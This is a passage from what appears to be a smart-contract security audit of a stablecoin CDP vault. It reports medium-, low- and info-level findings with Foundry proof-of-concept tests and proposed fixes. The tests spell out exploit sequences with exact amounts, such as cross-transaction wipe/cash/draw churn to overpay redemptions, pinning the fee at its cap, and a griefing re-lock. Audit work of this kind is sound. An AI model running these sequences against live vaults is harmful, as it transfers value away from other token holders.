/// side revives the other side's expired bank. The NatSpec at 902-903 promises that "a position that stays
/// smaller for a day forfeits the bank and warms again like any new capital".
contract BankExpiryTest is Test {
    address private constant BORROWER = address(0xB0B);
    address private constant HELPER = address(0x4E1);

    MockIMD private imd;
    ParameterizedVault private vault;
    ImdUSD private stable;

    function setUp() public {
        if (TREASURY_FACTORY.code.length == 0) vm.etch(TREASURY_FACTORY, address(new TreasuryFactory()).code);
        vm.etch(CHAINLINK_ETH_USD, address(new BeAggregator()).code);
        vm.warp(1_000_000);
        imd = new MockIMD();
        BeFeed primary = new BeFeed(uint256(1 ether) * 1e18 / 2000 ether); // IMD = $1
        BeFeed health = new BeFeed(0.85 ether);
        vault = new ParameterizedVault(
            address(imd), address(0), address(0), address(primary), address(health), address(new BeMirror(primary))
        );
        stable = vault.stablecoin();
        vm.startPrank(APPROVED_OPERATOR);
        imd.mint(BORROWER, 4_000 ether);
        imd.mint(HELPER, 201 ether);
        vm.stopPrank();
        vm.prank(BORROWER);
        imd.approve(address(vault), type(uint256).max);
        vm.prank(HELPER);
        imd.approve(address(vault), type(uint256).max);
    }

    /// @dev Trickle: a wei of principal a day keeps a 500 bank alive past its day.
    function test_aDailyWeiOfRepaymentKeepsTheBankAlivePastItsDay() public {
        vm.startPrank(BORROWER);
        vault.lock(4_000 ether);
        vault.draw(1_000 ether);
        vm.stopPrank();
        vm.startPrank(HELPER);
        vault.lock(200 ether);
        vault.draw(50 ether);
        stable.transfer(BORROWER, 50 ether); // fee money
        vm.stopPrank();
        vm.warp(block.timestamp + 3 days);
        vm.prank(HELPER);
        vault.lock(1); // a checkpoint: the lag is warm in storage
        assertEq(vault.laggedDebt(), 1_050 ether);

        // Day 0: 500 leaves and is banked.
        vm.prank(BORROWER);
        vault.wipe(500 ether);
        assertEq(vault.laggedDebt(), vault.totalDebt(), "a decrease counts at once");
        // Days 1, 2, 3: a repayment just above the day's fee, each one re-dating the bank.
        for (uint256 day = 1; day <= 3; ++day) {
            vm.warp(block.timestamp + 1 days);
            vm.prank(BORROWER);
            vault.wipe(1 ether);
        }
        uint256 before = vault.laggedDebt();
        // Day 3, same block: the 500 that left three days ago comes back.
        vm.prank(BORROWER);
        vault.draw(500 ether);
        // EXPECTED (NatSpec 902-903): forfeited after a day away; the lag rises by at most the few imdUSD
        // the trickle retired within the last day. ACTUAL: it rises by 500 at once.
        assertLt(vault.laggedDebt() - before, 10 ether, "warmth banked three days ago must not be credited back");
    }

    /// @dev Cross-side: a one-wei principal repayment revives a month-old collateral bank.
    function test_aOneWeiRepaymentRevivesAnExpiredCollateralBank() public {
        vm.startPrank(BORROWER);
        vault.lock(2_000 ether);
        vault.draw(1_000 ether);
        vm.stopPrank();
        vm.warp(block.timestamp + 2 days);
        // The term is collateral-bound (2,000 < 2 x 1,000): free 290 lowers it to 1,710 and banks 290.
        vm.prank(BORROWER);
        vault.free(290 ether);
        (, uint256 lagSecured) = vault.laggedNow();
        assertEq(lagSecured, 1_710 ether);
        assertEq(vault.laggedSecured(), 1_710 ether);

        vm.warp(block.timestamp + 30 days);
        // Debt-side decrease of one wei of principal: bankDebt == 0, so no expiry test runs, and bankAt is re-dated.
        uint256 oneWeiOfPrincipal = vault.stabilityFeeOf(BORROWER) + 1;
        vm.prank(BORROWER);
        vault.wipe(oneWeiOfPrincipal);
        vm.prank(BORROWER);
        vault.lock(290 ether);
        // EXPECTED: the 290, away for a month, warms from zero: laggedSecured stays about 1,710.
        // ACTUAL: 2,000 - 2 wei: the month-old bank is credited in full.
        assertLe(vault.laggedSecured(), 1_711 ether, "an expired bank must not be revived by the other side");
    }
}
```

### 4. Medium: CDPVault._backingPerUnit: the burn tally is transient, so a borrower in the 170-200% band who repays in one transaction, redeems in the next and redraws in a third is paid above pro rata for gas, whic

`src/CDPVault.sol:719`

```
        uint256 supply = stablecoin.totalSupply() + _transient(BURNED_THIS_TX_SLOT);
```

Q2. From audit_economics 2e7cddd8; reproduced with my own test. BURNED_THIS_TX_SLOT adds a repayment back to the supply only inside the transaction that burned it; the EVM clears it at the end of the call. A position whose collateral ratio is in [170%, 200%) has a secured term equal to its whole collateral (min(collateral, 2 x principal / price) binds on the collateral), so it can repay up to principal - collateral x price / 2 (15% of principal at 170%) without its term moving: the backing numerator holds while the supply, the denominator, falls by the repayment. Done as three consecutive transactions (wipe; cash; draw) instead of one call, the tally is empty in the cash, the live and the lagged figure both read numerator / (supply - repaid), and the redeemer is paid supply / (supply - repaid) above the honest pro-rata figure. The lag does not catch it because a decrease counts at once by design: laggedDebt falls with totalDebt, fresh = totalDebt - lagDebt stays 0, and lagSecured is untouched because the term did not move. Since 973369e the redraw is the SAME position returning within BACKING_WARMUP, so (when the lag was checkpointed) `_bank` credits it back and the churn leaves nothing behind. Cost: three transactions of gas and a few seconds of a smaller debt (no fee, no price exposure, the collateral never moves). The comment at 235-241 accepts the cross-transaction version because it 'costs real capital in an open position, not gas'; it costs gas. The sweep panel's medium #3 and its fix are scoped to the same call, so this is the gap the fix leaves, not a repeat. Regime: backing below par (underwater debt of about 1.4x the churner's, work-minted supply or bad debt), i.e. exactly when redemptions matter; a transfer from every other imdUSD holder to the redeemer, repeatable every block while the regime lasts, at any wage, no governance. The requester may regard the slow round trip as accepted design; if so, the comment's premise (real capital at risk) must be dropped and the cost stated as gas. Smallest fix: lag the supply's DECREASES the way the lag handles capital increases. Keep `laggedSupply` next to laggedDebt (checkpointed in `_advanceLag`, approaching the live supply from above over BACKING_WARMUP; an increase counts at once) and measure `_backingPerUnit` and `_redemptionRate` against max(live supply + burned-this-tx, laggedSupply). A repayment then counts in the denominator only once it has outlived a day, symmetric with how new capital counts in the numerator; an honest repayment reads backing slightly low for a day, the lag's accepted direction. Alternatively keep an aggregate of live per-position `bankDebt` (decremented on credit and lazy expiry) and add it to the denominator.

**Reproduction**

test/scratch/AdjacentTxBurn.t.sol, test_adjacentWipeCashDrawIsPaidAboveProRata (attached; fails on this code). ParameterizedVault over an 18-decimal IMD, NHI 0.85, wage 0. BORROWER locks 5,790 and draws 1,000; OTHER locks 5,100, draws 3,000 and hands BORROWER the 3,000 imdUSD. Price to $0.294 (BORROWER at 170.2%, term = its whole 5,790; OTHER at 50%); both re-priced by lock(1); three quiet days: backingPerUnit() == 0.8004e18 (+-0.1%). Snapshot: BORROWER's cash(500e18, 0, BORROWER) pays 1294480687500000000000 raw. Revert. Then three separate transactions: wipe(140e18) (securedCollateral unchanged: 2 x 860 / 0.294 > 5,790); cash(500e18, 0, BORROWER); draw(140e18). EXPECTED: the same payout within 0.1% (debt, supply and collateral are identical before and after the churn). ACTUAL: 1339963990912350394557 raw, +3.5% ('a repayment one transaction earlier must not raise the payout: 1339963990912350394557 > 1294480687500000000000'): inside the cash the supply read 3,860 against an unchanged numerator.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ParameterizedVault} from "src/ParameterizedVault.sol";
import {CDPVault} from "src/CDPVault.sol";
import {ImdUSD} from "src/ImdUSD.sol";
import {MockIMD} from "src/MockIMD.sol";
import {TreasuryFactory} from "src/TreasuryFactory.sol";
import {ISwarmFeed} from "src/interfaces/ISwarmFeed.sol";
import {APPROVED_OPERATOR, CHAINLINK_ETH_USD, TREASURY_FACTORY} from "src/DeploymentConfig.sol";

contract AbFeed is ISwarmFeed {
    uint256 public constant maxAge = 1 days;
    uint256 private value;
    uint64 private updatedAt;

    constructor(uint256 v) {
        value = v;
        updatedAt = uint64(block.timestamp);
    }

    function set(uint256 v) external {
        value = v;
        updatedAt = uint64(block.timestamp);
    }

    function latestValue() external view returns (uint256, uint64) {
        return (value, updatedAt);
    }

    function isStale() external pure returns (bool) {
        return false;
    }
}

contract AbMirror is ISwarmFeed {
    ISwarmFeed private immutable primary;

    constructor(ISwarmFeed p) {
        primary = p;
    }

    function latestValue() external view returns (uint256, uint64) {
        return primary.latestValue();
    }

    function isStale() external view returns (bool) {
        return primary.isStale();
    }

    function maxAge() external view returns (uint256) {
        return primary.maxAge();
    }
}

contract AbAggregator {
    function decimals() external pure returns (uint8) {
        return 8;
    }

    function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
        return (1, 2000e8, block.timestamp, block.timestamp, 1);
    }
}

/// @notice BURNED_THIS_TX_SLOT is transient: it adds a repayment back to the supply only inside the transaction
/// that burned it. The sweep panel's two mediums (a same-call wipe / cash / draw paid above pro rata and pinned
/// the fee base) are closed for one call and open for three consecutive transactions, which cost gas and a
/// few seconds, not "real capital in an open position" (CDPVault.sol 239-241).
contract AdjacentTxBurnTest is Test {
    address private constant BORROWER = address(0xB0B);
    address private constant OTHER = address(0x07E);

    MockIMD private imd;
    ParameterizedVault private vault;
    ImdUSD private stable;
    AbFeed private primary;

    function setUp() public {
        if (TREASURY_FACTORY.code.length == 0) vm.etch(TREASURY_FACTORY, address(new TreasuryFactory()).code);
        vm.etch(CHAINLINK_ETH_USD, address(new AbAggregator()).code);
        vm.warp(1_000_000);
        imd = new MockIMD();
        primary = new AbFeed(uint256(1 ether) * 1e18 / 2000 ether); // IMD = $1
        AbFeed health = new AbFeed(0.85 ether); // mat 170, gap 50
        vault = new ParameterizedVault(
            address(imd), address(0), address(0), address(primary), address(health), address(new AbMirror(primary))
        );
        stable = vault.stablecoin();
        vm.startPrank(APPROVED_OPERATOR);
        imd.mint(BORROWER, 10_000 ether);
        imd.mint(OTHER, 10_000 ether);
        vm.stopPrank();
        vm.prank(BORROWER);
        imd.approve(address(vault), type(uint256).max);
        vm.prank(OTHER);
        imd.approve(address(vault), type(uint256).max);
    }

    /// @dev Backing below par (OTHER underwater), the borrower in the 170-200% band so its term is its whole
    /// collateral and a repayment of up to 15% of principal leaves the numerator untouched.
    function test_adjacentWipeCashDrawIsPaidAboveProRata() public {
        vm.startPrank(BORROWER);
        vault.lock(5_790 ether);
        vault.draw(1_000 ether);
        vm.stopPrank();
        vm.startPrank(OTHER);
        vault.lock(5_100 ether);
        vault.draw(3_000 ether);
        stable.transfer(BORROWER, 3_000 ether);
        vm.stopPrank();
        // IMD to $0.294: the borrower at 170.2%, OTHER at 50%.
        primary.set(uint256(0.294 ether) * 1e18 / 2000 ether);
        vm.prank(BORROWER);
        vault.lock(1);
        vm.prank(OTHER);
        vault.lock(1);
        vm.warp(block.timestamp + 3 days);
        uint256 backing = vault.backingPerUnit();
        assertApproxEqRel(backing, 0.8004e18, 1e15, "below par");

        // The honest payout for a 500 redemption against the borrower, in a world with no churn.
        uint256 snap = vm.snapshotState();
        vm.prank(BORROWER);
        uint256 honest = vault.cash(500 ether, 0, BORROWER);
        vm.revertToState(snap);

        // Three consecutive transactions: wipe 140 (term unchanged: 2 x 860 / 0.294 > 5,790), cash 500, draw 140.
        vm.prank(BORROWER);
        vault.wipe(140 ether);
        assertEq(vault.securedCollateral(), 5_790 ether + 5_100 ether + 2, "the numerator did not move");
        vm.prank(BORROWER);
        uint256 churned = vault.cash(500 ether, 0, BORROWER);
        vm.prank(BORROWER);
        vault.draw(140 ether);
        // EXPECTED: the same payout, since debt, supply and collateral are the same before and after the churn.
        // ACTUAL: about 3.6% more (supply read 3,860 under an unchanged numerator).
        assertLe(churned, honest + honest / 1_000, "a repayment one transaction earlier must not raise the payout");
    }

    /// @dev The fee base: a borrower holding 90% of the supply as its own debt pins the base rate at the cap
    /// for 0.045 imdUSD of fee instead of 4.5.
    function test_adjacentWipeCashDrawPinsTheFeeBase() public {
        vm.startPrank(BORROWER);
        vault.lock(2_000 ether);
        vault.draw(900 ether);
        vm.stopPrank();
        vm.startPrank(OTHER);
        vault.lock(200 ether);
        vault.draw(100 ether);
        stable.transfer(BORROWER, 9 ether);
        vm.stopPrank();
        address treasury = address(vault.treasury());
        vm.prank(APPROVED_OPERATOR);
        imd.mint(treasury, 100 ether); // the redemption is reserve-funded
        assertEq(stable.totalSupply(), 1_000 ether);
        assertEq(vault.redemptionFeeBps(9 ether), 95, "floor 50 + 9 / 1,000 / 2 = 45 bps");

        vm.prank(BORROWER);
        vault.wipe(900 ether);
        vm.prank(BORROWER);
        vault.cash(9 ether, 0, address(0));
        vm.prank(BORROWER);
        vault.draw(900 ether);
        (, uint256 debt) = vault.positions(BORROWER);
        assertEq(debt, 900 ether, "the position is where it was");
        // EXPECTED: 45 bps, the increase for 9 of 1,000. ACTUAL: the 450 bps cap, for everyone, for a half-life.
        assertEq(vault.redemptionBaseRate(), 0.0045e18, "the fee base is the supply before the churn");
    }
}
```

### 5. Medium: CDPVault._redemptionRate: the same transient burn tally lets a dominant borrower wipe in one transaction, redeem a little in the next and redraw in a third, pinning the redemption fee at the cap for a

`src/CDPVault.sol:843`

```
        uint256 before = supply + _transient(BURNED_THIS_TX_SLOT);
```

Q2, the fee base. From audit_economics 424473ff; reproduced with my own test (same file as the finding above; same root cause and fix, kept separate because it is a different function and a different victim). `prior` = totalSupply + burned-this-transaction - minted-this-transaction is 'the supply that existed before this transaction' (NatSpec 830-831) only for a burn inside the same call. A borrower whose own debt is a share s of the supply burns it in transaction N (wipe), redeems a small amount in transaction N+1 against prior = (1 - s) x supply, and redraws in transaction N+2: the base rate is set as if the burn were 1/(1-s) times larger. Reaching the 4.5% cap honestly costs a burn of 9% of supply (0.45% of supply lost to the fee); with s = 90% it costs 0.9% at the same fee, ten times less, repeatable twice a day as the base decays (12-hour half-life). Since 973369e the redraw is credited from the position's own bank (when checkpointed), so the lag is restored and the churn has no residual cost. Reachable with the constants as committed (divisor 2, wage 0), no governance; needs one large position (LINE is $1M at launch). Victims: every later redeemer pays up to 500 bps instead of 50 for a half-life or two, the peg floor min(1 - fee, backing) sits at 0.95 on demand, and a candidate can deter redemptions against itself. The sweep panel's medium #4 and its fix are scoped to the same call. Smallest fix: the lagged supply proposed for the `_backingPerUnit` finding, used as the fee base too (prior = max(supply + burned, laggedSupply) - minted); or an aggregate of live per-position banks added to `prior`.

**Reproduction**

test/scratch/AdjacentTxBurn.t.sol, test_adjacentWipeCashDrawPinsTheFeeBase (fails on this code; the file is attached as the proof of the `_backingPerUnit` finding). ParameterizedVault at $1, launch constants. BORROWER locks 2,000 and draws 900; OTHER locks 200, draws 100 and gives BORROWER 9 imdUSD; the Treasury holds 100 IMD so the redemption is reserve-funded; supply 1,000, redemptionBaseRate 0, redemptionFeeBps(9e18) quotes 95. Three separate transactions: BORROWER wipe(900e18); cash(9e18, 0, address(0)); draw(900e18). EXPECTED: redemptionBaseRate == 0.0045e18 (45 bps, the increase for 9 of 1,000). ACTUAL: 0.045e18, the cap ('the fee base is the supply before the churn: 45000000000000000 != 4500000000000000'); redemptionFeeBps(0) reads 500 for everyone and the borrower's position is 2,000 / 900 again, the pump having cost 0.45 imdUSD of fee. The project's own test_aSameTransactionRepaymentDoesNotShrinkTheFeeBase passes only because its Churner does all three in one call.

### 6. Low: cover / bite / _coverDust: a drained borrower holds cover off with a $1.20 re-lock, and the no-mark bite that is supposed to clear it pays 0.18 IMD before gas, so 'holding cover off costs the re-lock

`src/CDPVault.sol:568`

```
                if (position.collateral >= _coverDust(owner, price)) revert NoRealizedBadDebt();
```

Q3. Merged from audit_economics a9f53e2d and audit_flow ca625c63 (audit_math 8845615b item 6); numbers pinned by my own test. 973369e removed the recorded-bad-debt sweep and instead lets `bite` take a drained position's re-lock with no mark and no grace, 'so holding cover off costs the re-lock every block' (620) and 'the re-lock is seized in one transaction, at its value, and cover follows' (1051). That holds only if someone bites. `_coverDust` sweeps collateral below the seizure for max(debt / 1e6, min(debt / 100, 1 imdUSD)), so for any recorded bad debt between 100 and 1,000,000 imdUSD a re-lock worth $1.20 (1.2 IMD at $1; about 0.5 sIMD on mainnet) makes `cover` revert NoRealizedBadDebt at line 568. The bite that clears it repays at most 1 imdUSD (a larger debtToRepay reverts InsufficientCollateral at 1068-1070 because the collateral is at least the one-wei seizure) and receives 1.2 IMD less the protocol's 10% of the 0.2 bonus: 1.18 IMD for 1 imdUSD, 0.18 IMD gross, against mainnet gas for `bite` (two feed reads, accrual, three transfers; PRICE_MAX_AGE is one hour, so possibly a paid attestation too). No independent keeper does it; the operator's keeper does it at a loss. While the re-lock sits there totalBadDebt stays at the record R: Treasury.withdraw(imdUSD) and payStream refuse to spend below R (BadDebtFirst / `spare`), `_securedCollateralValue` subtracts R from `prior` and ParameterizedVault.backedDebt subtracts it from the ratio term, so backingPerUnit and earnLine read R lower than the collateral actually standing behind the debt. A drained borrower liquidated at a crash (R in the tens of thousands) can hold that much Treasury imdUSD and that much of the backing figure hostage for $1.20 a round. A griefing vector, not a theft: the attrition is $1.20 plus gas for the griefer against gas minus $0.18 for the keeper, who can bundle bite and cover in one transaction. Reachable with the constants as committed, no governance. Smallest fix: let `cover` sweep a re-lock on a position with `_recordedBadDebt != 0` when the sweep is credited against the debt at the fresh price (cancel min(debt, collateral x price / 1e18) of the position's debt through `_reduceDebt`, fees first, before burning `amount`), which is what the sweep panel's medium #2 proposed as its first option and makes the re-lock cost the griefer its full value with no liquidator needed; or raise COVER_DUST_MIN_DEBT to a figure that pays for a mainnet bite (e.g. 50e18). Reword 620 and 1047-1051 either way.

**Reproduction**

test/scratch/Checks.t.sol, test_coverHoldOffCostsOneDollarTwentyAndTheBitePaysEighteenCents (passes on this code: it pins the numbers). ParameterizedVault at $1, NHI 0.85 (mat 170, lull 6 h). BORROWER locks 1,700 and draws 1,000; KEEPER locks 20,000 and draws 5,000. Price to $0.50; bark(BORROWER); +6 h; KEEPER bites 708.333 imdUSD: collateral 0, totalBadDebt == debtOf(BORROWER) == about 291.7e18. Price back to $1; the Treasury holds 400 imdUSD. BORROWER lock(1.2e18). KEEPER cover(BORROWER, 1e18): reverts NoRealizedBadDebt. KEEPER bite(BORROWER, 1e18 + 1): reverts InsufficientCollateral. KEEPER bite(BORROWER, 1e18): succeeds, KEEPER's IMD balance rises by exactly 1180000000000000000 for 1e18 imdUSD burned; then cover(BORROWER, 1e18) works again, until the next lock(1.2e18). EXPECTED per 620: holding cover off costs the re-lock every block. ACTUAL: it costs $1.20 per bite anyone is willing to make for 0.18 IMD before gas.

### 7. Low: bite: a once-drained borrower who re-collateralised to health is liquidated with no mark and no grace on any later dip below mat, for the life of the loan, which the borrower-facing docs do not say

`src/CDPVault.sol:1053`

```
        if (_recordedBadDebt[owner] == 0) {
```

Q3. Merged from audit_permissions 41fc3f36 and audit_math ad80d055; reproduced with my own test. `_recordedBadDebt[owner]` is written at the drain and lowered only by repayment (`_reduceDebt`: min(previous, debtOf) while collateral is held); adding collateral never clears it, and the totalBadDebt NatSpec (297-303) says a drained borrower who re-collateralises and keeps a healthy loan open is an accepted state whose cost is 'a real, fee-paying position'. The 973369e bite skips the mark, the grace and the expiry for every such position, not only for the dust re-lock it targets (1047-1051). So a borrower who rebuilt to 200% and is pushed under 170% by a price move is bitten in the same block by anyone, for any `debtToRepay` up to the whole debt, at the 20% penalty, and the liquidator keeps the marker's share too (1081), while every other borrower at the same ratio gets `bark` and six hours (NHI >= 0.85) to top up. Nobody else is harmed: the skip only ever removes protection from the recorded position, the record is only written when collateral is zero with debt outstanding, and `cash` cannot zero collateral with debt remaining. Reachable with the constants as committed, no governance. Smallest fix: skip the mark checks only when the collateral is worth less than the recorded bad debt at `price` (the re-lock the comment describes) and require the ordinary mark and grace otherwise; or clear `_recordedBadDebt` (and its share of totalBadDebt) once the position has been healthy at a priced checkpoint, if the governance panel's accepted bad-debt-first floor is not meant to outlive the shortfall. If the grace loss is intended, say so in docs/MAINNET-RUNBOOK.md and at 297-303.

**Reproduction**

test/scratch/Checks.t.sol, test_drainedThenHealthyBorrowerIsBittenWithNoMarkAndNoGrace (passes on this code, which is the behaviour described). ParameterizedVault at $1, NHI 0.85. KEEPER locks 20,000 and draws 5,000; BORROWER locks 1,700 and draws 1,000; price to $0.50; bark(BORROWER); +6 h; bite(BORROWER, 708.333e18) drains it (collateral 0, totalBadDebt == debtOf == about 291.7e18). Price back to $1; BORROWER lock(600e18): collateralRatio >= 200, liquidationMarks(BORROWER).marked == false, totalBadDebt unchanged. Price to $0.82: collateralRatio < 170. KEEPER bite(BORROWER, 100e18) with no bark. EXPECTED for any other borrower: revert PositionNotMarked, then six hours of grace after a mark. ACTUAL: the bite succeeds at once and seizes about 146 IMD, of which the liquidator receives both bonus shares less the protocol's cut.

### 8. Info: cash does not add its own burn to BURNED_THIS_TX_SLOT, contrary to the slot's NatSpec ('wipe, cover, cash'); a second redemption in the same transaction reads the shrunken supply (conservative)

`src/CDPVault.sol:690`

```
        stablecoin.burn(msg.sender, amount);
```

Q2. Merged from audit_permissions ba074073 and audit_math fb4f7908. The tally is added in `_payDebt` (wipe, bite) at 1322 and in `cover` at 584; `cash` burns at 690 with no `_transientAdd(BURNED_THIS_TX_SLOT, amount)`, although the comment at 249-250 lists cash among the paths and 830-831 says burned supply is added back. Effect: nil as an exploit. A second `cash` in the same transaction reads the post-burn supply in `_backingPerUnit` and `_redemptionRate`, the same state a separate transaction would read; the pro-rata payout is path-independent and splitting a redemption only raises the fee increase (A2 / (S - A1) > A2 / S). The rest of Q2 holds: with the tally, a same-call `wipe` leaves `supply + burned` and the numerator can only fall (`prior = totalDebt - minted` shrinks, the term is unchanged or lower), so it can neither lift backingPerUnit nor depress the fee base; bite lowers both the term and `prior`; cover moves totalDebt and totalBadDebt together and burns the Treasury's imdUSD; the fee remint in `_payDebt` and `cover` adds `feePaid` to the live supply on top of the tally, enlarging both denominators slightly in the conservative direction. Fix: add `_transientAdd(BURNED_THIS_TX_SLOT, amount);` after line 690, or drop 'cash' from the list at 250.

**Reproduction**

grep -n BURNED_THIS_TX_SLOT src/CDPVault.sol: 255 (declaration), 584 (cover), 719 and 843 (readers), 1322 (_payDebt); no occurrence inside cash (632-694), whose burn is at 690. test/scratch/Checks.t.sol, test_cashDoesNotTallyItsBurn (passes): supply 1,000, Treasury holds 1,000 IMD, a contract calls cash(9e18, 0, 0) twice in one transaction at divisor 2. EXPECTED by the NatSpec: two increases of 45 bps, base 0.009e18. ACTUAL: 45 bps then 9 / 991 / 2 = 45.4 bps, base between 0.009e18 and 0.00905e18.

### 9. Info: NatSpec and comments that claim properties the committed code does not have after 973369e (the lag, the bank, the burn tally, the drained-position bite); plus a stale test reference

`src/CDPVault.sol:902`

```
    /// position's increase warms from zero as before, inside one transaction or across many; a position
```

Merged from audit_economics 0125ee14, audit_permissions 9b354695, audit_math 8845615b and audit_flow 2bd07b37. Each is the documentation half of a finding above; reword to the behaviour the code has, or fix the code and keep the text. (1) CDPVault.sol 901-903 `_bank`: 'Another position's increase warms from zero as before, inside one transaction or across many' is false when the increase precedes the warm position's decrease (high); 'a position that stays smaller for a day forfeits the bank and warms again like any new capital' is false while it shrinks by a wei a day or is touched from the other side (medium). (2) 315-318 lagged capital ('capital brought in one transaction and withdrawn a few later cannot authorise work minting or a redemption at par ... another position's warms from zero'; 'a position's own capital that leaves and returns within a day is credited again'), 945-946 `_clampLag` ('what another position adds warms from zero'), 713-714 `_backingPerUnit` ('An attacker's capital can raise the live figure but not the lagged one'), ParameterizedVault.sol 237-239 ('the ratio term is only ever backed by debt that existed before the caller arrived ... warmth belongs to the position that earned it'): the first halves fail on the draw-then-cancel order (high), the 'credited again' clause whenever the lag was not checkpointed since the capital warmed (medium). (3) 903-906 'What is banked is what the lag actually LOST to the decrease' and 915-916 'totalDebt moves after (`_reduceDebt`), so it is projected here': the live figure is projected but the lag is not advanced, so on the debt side the bank measures the loss against a stale lag, in a quiet vault nothing (medium). (4) 235-241 transient tallies ('capital which exists only for the length of the call can neither inflate the backing ... The slow version of either round trip, held across transactions, is the accepted design ... costs real capital in an open position, not gas'), 249-250 ('wipe, cover, cash'), 830-831 `_redemptionRate` ('the supply that existed before this transaction'), 661 cash ('Paying pro-rata instead is exactly neutral on backing by construction'): a repayment one transaction earlier is not added back and costs gas; cash is not tallied (mediums and info). (5) 619-620 `_coverDust` ('holding cover off costs the re-lock every block'), 543 cover ('Anything larger on a drained position is bitten first') and 1047-1051 bite ('the re-lock is seized in one transaction, at its value, and cover follows'): only if a liquidator takes 0.18 IMD for a mainnet transaction (low). (6) 855-858 `_secured`: 'an unpriced feed counts the position for nothing' describes the helper's return value, not the term: `_resecureBounded` (874-879) keeps the previous term, bounded by the collateral and scaled with principal repaid, which is the behaviour the oracle panel asked for; say so at 857. (7) test/helpers/OpenWorkVault.sol:13 still cites test/EarnGate.t.sol, which does not exist (the gate tests are in test/LaggedBacking.t.sol); carried over from the sweep panel's info, item 8. Checked and consistent: the Position struct comment (41-44), the securedCollateral NatSpec (260-263), cover's 'reverts on a position holding collateral a bite could still reach' (545-546), the unpriced-term NatSpec at 874-879 (Q4: lock / lockIMD keep the term bounded by the collateral, wipe scales it with principal repaid, cover with no readable price reverts InvalidPrice through `_requireFreshFeeds`, free with debt is feed-gated, and the next priced touch re-prices; no overstatement found during or after a dead leg), the burn tally for the same call (249-254, 718), the uint128 / uint64 packing, ParameterizedVault.backedDebt's tx-start cap, and ImdUSD (single minter / burner, no admin). Coverage: src/CDPVault.sol, src/ParameterizedVault.sol and src/ImdUSD.sol read in full; src/Treasury.sol read for withdraw, payStream and _badDebt; src/DeploymentConfig.sol for the constants; Parameters.sol, the feeds, UsdPric

**Reproduction**

Each claim is refuted by the reproduction of the finding it documents: test/scratch/Proof_496c55a8b29e.t.sol (claims 1 first half, 2), test/scratch/BankExpiry.t.sol (claim 1 second half), test/scratch/StaleBank.t.sol (claims 2 'credited again', 3), test/scratch/AdjacentTxBurn.t.sol and test/scratch/Checks.t.sol test_cashDoesNotTallyItsBurn (claim 4), test/scratch/Checks.t.sol test_coverHoldOff... (claim 5). Claim 6: read `_resecureBounded` 880-891 against 855-858. Claim 7: `ls test/EarnGate.t.sol` reports no such file; `grep -n EarnGate test/helpers/OpenWorkVault.sol` shows line 13.

---

Judge's submission `4de1c53728d994beae974b75088c8bf5532a9c03a0551a148e0d0a10d96716bc`, accepted on the IdentityMD network. Acceptance means the report met the job's checks;
it is not a guarantee that the code has no other defects.
